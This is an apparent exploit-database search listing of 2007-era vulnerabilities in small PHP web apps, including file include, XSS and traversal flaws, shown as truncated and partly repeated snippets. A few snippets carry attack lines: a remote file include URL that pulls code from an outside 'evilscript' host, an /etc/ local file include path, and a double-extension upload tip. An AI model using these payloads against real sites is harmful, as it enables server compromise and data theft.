10023 matches found
DBGuestbook 1.1 (dbs_base_path) Remote File Include Vulnerabilities
No description provided by source. DBGuestBook 1.1 Found by Denven Script: http://www.dbscripts.net/download/?file=2 ERROR: includes/utils.php requireonce $dbsbasepath includes/guestbook.php requireonce $dbsbasepath includes/views.php requireonce $dbsbasepath RFI:...
eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities
No description provided by source. To ConTacT mE @ www.Asb-May.net/bb ScRiPt:-http://www.efiction.org/downloads/eFiction31.zip GrEaTz To:-ToOofa-HaCk.eGy All AsB-MaY DisCoverY ExPloIts GrOup Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP logout.php:-...
LoveCMS 1.4 - id Cross-Site Scripting
LoveCMS 1.4 - id Cross-Site Scripting source: https://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue. An attacke...
LoveCMS 1.4 - 'id' Cross-Site Scripting
source: https://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue. An attacker can exploit these issues to steal...
Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access
source: https://www.securityfocus.com/bid/22667/info Pyrophobia is prone to multiple input-validation vulnerabilities, including multiple local file-include issues and multiple cross-site scripting issues. An attacker can exploit these issues to steal cookie-based authentication credentials, view...
Plantilla PHP Simple
Plantilla PHP Simple local file include vulnerability: /zadminxx/listmainpages.php?nfolder=/etc/ file upoad vulnerability: upload any-script with a double extension .. laurent gaffie...
LoveCMS 1.4 - 'step' Traversal Arbitrary File Access
source: https://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue. An attacker can exploit these issues to steal...
LoveCMS 1.4 - load Traversal Arbitrary File Access
LoveCMS 1.4 - load Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issu...
FlashGameScript 1.5.4 (index.php func) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================== FlashGameScript 1.5.4 index.php func Remote File Include Vulnerability ======================================================================== / | \ \ \ / \ / \ / ...
Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability
No description provided by source. Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript...
eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications =================================================================== eFiction logout.php:- includeonce$pathtosmf."Sources/Subs-Auth.php"; getsessionvars.php:- requireonce$pathtosmf."SSI.php";...
Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access
Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/22667/info Pyrophobia is prone to multiple input-validation vulnerabilities, including multiple local file-include issues and multiple cross-site scripting issues. An attacker can exploit these issues t...
LoveCMS 1.4 - step Traversal Arbitrary File Access
LoveCMS 1.4 - step Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issu...
LoveCMS 1.4 - 'load' Traversal Arbitrary File Access
source: https://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue. An attacker can exploit these issues to steal...
phpXmms 1.0 (tcmdp) Remote File Include Vulnerabilities
------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script: phpXmms 1.0 Script Download: ftp://ftp.warpedsystems.sk.ca/pub/php/phpxmms-1.0.tar.gz Contact: ilker Kandemir ilkerkandemiratmynet.com Code:...
Magic News Plus 1.0.2 - 'n_layouts.php?link_parameters' Cross-Site Scripting
source: https://www.securityfocus.com/bid/22661/info Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities. An...
CVE-2007-1042: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in news.php in Xpression News X-News 1.0.1, when magicquotesgpc is disabled, allows remote attackers to include arbitrary files or obtain sensitive information via a .. dot dot in the xnews-template parameter. NOTE: the provenance of this information is unknown;...
DBGuestbook 1.1 (dbs_base_path) Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications =================================================================== DBGuestbook 1.1 dbsbasepath Remote File Include Vulnerabilities =================================================================== DBGuestBook 1.1 Found by Denven ERROR:...
Magic News Plus 1.0.2 - news.php?link_parameters Cross-Site Scripting
Magic News Plus 1.0.2 - news.php?linkparameters Cross-Site Scripting source: https://www.securityfocus.com/bid/22661/info Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote...
CVE-2007-1040: Undefined Security Weakness
Directory traversal vulnerability in archives.php in Xpression News X-News 1.0.1 allows remote attackers to include arbitrary files or obtain sensitive information via a .. dot dot in the xnews-template parameter...